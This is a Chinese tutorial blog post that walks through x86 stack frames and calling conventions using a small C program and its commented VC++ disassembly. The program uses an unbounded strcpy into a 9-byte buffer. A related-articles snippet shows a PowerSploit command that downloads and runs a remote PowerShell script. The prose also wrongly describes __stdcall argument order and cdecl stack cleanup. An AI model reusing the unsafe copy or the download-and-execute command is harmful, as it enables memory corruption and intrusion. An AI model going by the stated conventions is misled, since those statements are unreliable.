C/C++拾遗录--关于一个C语言小程序的分析

虽然编了几年程序,但是对于程序到底是什么规则变成汇编代码的,在这里搞了一个小程序。用VC查看了一下汇编代码。在此之前先介绍一下关于函数运行是堆栈变化的细节。

在高级语言编写程序时,函数的调用是很常见的事情,但是在函数调用过程中堆栈的变化通常有几个细节:

1.父函数将函数的实参按照从右至左的顺序压入堆栈;

2.CPU将父函数中函数调用指令Call的下一条指令地址EIP压入堆栈;

3.父函数通过Push Ebp指令将基址指针EBP的值压入堆栈,并通过Mov Ebp,Esp指令将当前堆栈指针Esp值传给Ebp;

4.通过Sub Esp,m(m是字节数)指令可以为存放函数中的局部变量开辟内存。函数在执行的时候如果需要访问实参或局部变量,都可以通过EBP指针来指引完成。

windows系统下常用的函数调用通常有种,__cdecl和__stdCall。

1.在VC、.net等开发环境中,编写命令行程序时的Main或者_tmain函数,以及大家自己定义的很多函数都是默认采用__cdecl调用方式;

2.通过MFC编写图形界面程序的时候,其主函数声明为extern "C" int WINAPI tWinMain(参数),该函数的调用约定是__stdCall。WINAPI和PASCAL等都是__stdCall的宏定义,是一个意思,此外,大家平时调用的API函数,绝大多数都是采用__staCall的调用方式;

3.__cdecl调用方式的函数,父函数在调用子函数的时候,先将子函数的实参按照从右至左的顺序压入堆栈中,子函数返回后,父函数通过Sub Esp,n(n=函数实参个数*4)指令来恢复堆栈;

4.__stdCall调用约定函数,子函数调用时实参入栈顺序也是从左到右,但是堆栈恢复是子函数返回时自己通过Ret n指令来完成的。

下边就是针对这些知识进行的部分实践:

[cpp] view plaincopy
  1. #include<stdio.h>  
  2. #include<windows.h>  
  3. #include<stdlib.h>  
  4. int fun(char *szIn, int nTest)  
  5. {  
  6.     char szBuf[9];  
  7.     printf("%d\n",nTest);  
  8.     strcpy(szBuf,szIn);  
  9.     return 0;  
  10. }  
  11. int main(int argc, char *argv[])  
  12. {  
  13.     char sz_In[] = "1234567";  
  14.     fun(sz_In,888);  
  15.     return 0;  
  16. }  

汇编代码

[plain] view plaincopy
  1. 00401003   int         3  
  2. 00401004   int         3  
  3. @ILT+0(?fun@@YAHPADH@Z):  
  4. 00401005   jmp         fun (00401020)    //进入fun函数  
  5. @ILT+5(_main):  
  6. 0040100A   jmp         main (00401080)    //进入main函数,该位置是整段代码的入口  
  7. 0040100F   int         3  
  8. 00401010   int         3  
  9. 00401011   int         3  
  10. 00401012   int         3  
  11. 00401013   int         3  
  12. 00401014   int         3  
  13. 00401015   int         3  
  14. 00401016   int         3  
  15. 00401017   int         3  
  16. 00401018   int         3  
  17. 00401019   int         3  
  18. 0040101A   int         3  
  19. 0040101B   int         3  
  20. 0040101C   int         3  
  21. 0040101D   int         3  
  22. 0040101E   int         3  
  23. 0040101F   int         3  
  24. --- c:\project\heap1\heap1.cpp  --------------------------------------------------------------------------------------------------------------------------------------  
  25. 1:    #include<stdio.h>  
  26. 2:    #include<windows.h>  
  27. 3:    #include<stdlib.h>  
  28. 4:    int fun(char *szIn, int nTest)  
  29. 5:    {  
  30. 00401020   push        ebp  
  31. 00401021   mov         ebp,esp               //保存基址指针,并将现在的栈顶保存为基址指针。  
  32. 00401023   sub         esp,4Ch               //腾出一部分堆栈区用于存放局部变量。  
  33. 00401026   push        ebx  
  34. 00401027   push        esi  
  35. 00401028   push        edi                   //保存三个寄存器的值。  
  36. 00401029   lea         edi,[ebp-4Ch]  
  37. 0040102C   mov         ecx,13h  
  38. 00401031   mov         eax,0CCCCCCCCh  
  39. 00401036   rep stos    dword ptr [edi]       //将腾出的4Ch的空间初始化值为0xCC。   
  40. 6:        char szBuf[9];  
  41. 7:        printf("%d\n",nTest);  
  42. 00401038   mov         eax,dword ptr [ebp+0Ch]  
  43. 0040103B   push        eax  
  44. 0040103C   push        offset string "%d\n" (0042201c)    //先后压入栈中两个地址,nTest,一个是一个字符串指针。  
  45. 00401041   call        printf (004011d0)                            //调用printf函数时,它会自动做到堆栈平衡。  
  46. 00401046   add         esp,8                                        //由于刚才压入和两个参数,所以在这里手动将两个参数弹出堆栈  
  47. 8:        strcpy(szBuf,szIn);  
  48. 00401049   mov         ecx,dword ptr [ebp+8]                         
  49. 0040104C   push        ecx                           //压入szIn的指针。这个参数在高出基址的8位处,也就是调用该函数前压入栈中的。  
  50. 0040104D   lea         edx,[ebp-0Ch]  
  51. 00401050   push        edx                 //压入szBuf的指针,这个函数在低于基址的OCh位处,这是调用函数后分配的。局部变量的分配大  
  52. 00401051   call        strcpy (004010e0)   //小都是按4的倍数分配的,所以尽管szBuf[9]但是也分配在了0Ch处。  
  53. 00401056   add         esp,8  
  54. 9:        return 0;  
  55. 00401059   xor         eax,eax             //返回值在EAX中。  
  56. 10:   }  
  57. 0040105B   pop         edi  
  58. 0040105C   pop         esi  
  59. 0040105D   pop         ebx                 //弹出保存的数据。  
  60. 0040105E   add         esp,4Ch             //消除为局部变量腾出的空间。  
  61. 00401061   cmp         ebp,esp  
  62. 00401063   call        __chkesp (00401250) //检验是否在用户自定义汇编代码中修改了ebp和esp的相对关系。一般情况下EBP>ESP  
  63. 00401068   mov         esp,ebp             //将原基址恢复给栈顶寄存器。  
  64. 0040106A   pop         ebp                 //弹出原调用函数的堆栈基址。              
  65. 0040106B   ret                             //函数返回。   
  66. --- No source file  --------------------------------------------------------------------------------------------------------------------------------------------------  
  67. 0040106C   int         3  
  68. 0040106D   int         3  
  69. 0040106E   int         3  
  70. 0040106F   int         3  
  71. 00401070   int         3  
  72. 00401071   int         3  
  73. 00401072   int         3  
  74. 00401073   int         3  
  75. 00401074   int         3  
  76. 00401075   int         3  
  77. 00401076   int         3  
  78. 00401077   int         3  
  79. 00401078   int         3  
  80. 00401079   int         3  
  81. 0040107A   int         3  
  82. 0040107B   int         3  
  83. 0040107C   int         3  
  84. 0040107D   int         3  
  85. 0040107E   int         3  
  86. 0040107F   int         3  
  87. --- c:\project\heap1\heap1.cpp  --------------------------------------------------------------------------------------------------------------------------------------  
  88. 11:   int main(int argc, char *argv[])  
  89. 12:   {  
  90. 00401080   push        ebp  
  91. 00401081   mov         ebp,esp                       //保存堆栈基址  
  92. 00401083   sub         esp,48h                       //腾出局部变量空间    
  93. 00401086   push        ebx  
  94. 00401087   push        esi  
  95. 00401088   push        edi                           //保存3个寄存器    
  96. 00401089   lea         edi,[ebp-48h]  
  97. 0040108C   mov         ecx,12h  
  98. 00401091   mov         eax,0CCCCCCCCh                //初始化局部变量空间  
  99. 00401096   rep stos    dword ptr [edi]  
  100. 13:       char sz_In[] = "1234567";  
  101. 00401098   mov         eax,[string "1234567" (00422020)]  
  102. 0040109D   mov         dword ptr [ebp-8],eax  
  103. 004010A0   mov         ecx,dword ptr [string "1234567"+4 (00422024)]  
  104. 004010A6   mov         dword ptr [ebp-4],ecx         //将字符串通过寄存器将字符拷贝到分配的空间中。  
  105. 14:       fun(sz_In,888);  
  106. 004010A9   push        378h                           
  107. 004010AE   lea         edx,[ebp-8]  
  108. 004010B1   push        edx      //从右至左将参数压入堆栈中,数字直接压入数值,字符串则压入字符串指针  
  109. 004010B2   call        @ILT+0(fun) (00401005)  
  110. 004010B7   add         esp,8                        //恢复堆栈  
  111. 15:       return 0;  
  112. 004010BA   xor         eax,eax                      //返回值在EAX中  
  113. 16:   }  
  114. 004010BC   pop         edi  
  115. 004010BD   pop         esi  
  116. 004010BE   pop         ebx                          //恢复3个寄存器  
  117. 004010BF   add         esp,48h                      //清除局部变量空间  
  118. 004010C2   cmp         ebp,esp  
  119. 004010C4   call        __chkesp (00401250)          //检测堆栈指针与堆栈基址     
  120. 004010C9   mov         esp,ebp                      //恢复调用函数的栈顶  
  121. 004010CB   pop         ebp                          //恢复调用函数的堆栈基址  
  122. 004010CC   ret                                      //函数返回  
  123. --- No source file  --------------------------------------------------------------------------------------------------------------------------------------------------  
  124. 004010CD   int         3  
  125. 004010CE   int         3  

关于这个程序的堆栈使用情况也做了一下分析,如图:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449620.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重命名 docker 容器名

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 docker 容器&#xff08;服务&#xff09;重命名只要一个命令就可以&#xff1a;docker rename 原容器名 新容器名 如&#xff1a;

vim编辑器常用命令总结

在命令状态下对当前行用 &#xff08;连按两次&#xff09;, 或对多行用n&#xff08;n是自然数&#xff09;表示自动缩进从当前行起的下面n行。你可以试试把代码缩进任意打乱再用n排版&#xff0c;相当于一般IDE里的code format。使用ggG可对整篇代码进行排版。 vim 选择文本&…

Docker 从Dockerfile 构建镜像 :build 命令的用法

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Dockerfile 创建完成后&#xff0c;可以使用 docker build 命令根据 Dockerfile 构建一个镜像。 1. 首先准备好 Dockerfile : 2. 执行构…

如何保证MongoDB的安全性?

上周写了个简短的新闻《MongoDB裸奔&#xff0c;2亿国人求职简历泄漏&#xff01;》&#xff1a; 根据安全站点HackenProof的报告&#xff0c;由于MongoDB数据库没有采取任何安全保护措施&#xff0c;导致共计202,730,434份国人求职简历泄漏。然后很多人评论说MongoDB躺枪了。 …

Docker:集装箱式“运输”在软件上的实现

Docker是由PaaS提供商dotCloud在2013年年初创建的一款开源应用引擎&#xff0c;Docker可以自动将任何应用打包成轻量、可移植、自包涵的容器引擎。开发者构建的应用可以一次构建全平台运行&#xff0c;包括本地开发机器&#xff0c;生产环境&#xff0c;虚拟机和云等。 Docker基…

如何使用Dockerfile构建镜像

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Dockfile是一种被Docker程序解释的脚本&#xff0c;Dockerfile由一条一条的指令组成&#xff0c;每条指令对应Linux下面的一条命令。Doc…

小程序 公众号/h5相互跳转-webview

小程序与h5的跳转 前提小程序管理后台配置域名白名单&#xff0c;并且h5页面是嵌在小程序里面&#xff08;相互跳的前提条件&#xff09; 在业务域名中设置好访问的h5地址 微信官方web-view 介绍地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

并行计算的专访

摘要&#xff1a;社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱&#xff0c;为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流&#xff0c;低功耗、高性能也将成为一…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1&#xff09;通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写&#xff0c;这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前&#xff0c;您需要先对CentOS操作系统做一些初始化的工作&#x…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划&#xff0c;之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图&#xff1a; 因为这个kong-dashboard要用到docker&#x…

leetcood学习笔记-204-计算质数

题目描述&#xff1a; 第一次提交;(超时)&#xff1a; class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 别人家的&#xff1a; 这题搜到一个非常牛逼的算法,叫做厄…

centos-install-kong-cassandra

转自&#xff1a;http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置阅读 对于一些传统的大型项目&#xff0c;传统的方式会有一些缺陷&#xff0c;比如说新人熟悉系统成本高&#xff08;因为整个系统作为一个整体&#xff0c;彼此会有一定的牵连&#xff0…

翁同龢后人向上海博物馆捐赠两件重要家藏

1月24日&#xff0c;翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 1月24日&#xff0c;翁万戈先生捐赠书画仪式在上海博物馆内举行。 上海博物馆 供图 中新网上海1月24日电 (王笈)翁同龢后人翁以钧24日携夫人柳至善&#xff0c;代表翁万戈将两件翁氏家族的重要…

AutoHotkey调用VBA实现批量精确筛选数据透视表某字段内容。

如上图&#xff0c;想在数据透视表中只显示红色区域的内容&#xff0c;手动勾选就比较繁琐。 实现思路&#xff1a; 先复制红色的内容。鼠标停留在数据透视表【型号】列的任意数据上&#xff08;通过该单元格可以获取数据透视表和字段&#xff09;由于数据透视表的字段不能全部…

SQL中的case when then else end用法

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 Case具有两种格式。简单Case函数和Case搜索函数。 --简单Case函数 CASE sexWHEN 1 THEN 男WHEN 2 THEN 女 ELSE 其他 END --Case搜索函数…

HEVC/H265 性能分析

HEVC/H265 标准中的目标是&#xff1a;H264的码率一般&#xff0c;质量一样&#xff0c;是否达到&#xff0c;数据说话。 下面是视频编解码大师测试数据&#xff1a; HEVC: is it really twice as good as H.264? The new standard for video compression, High Efficiency V…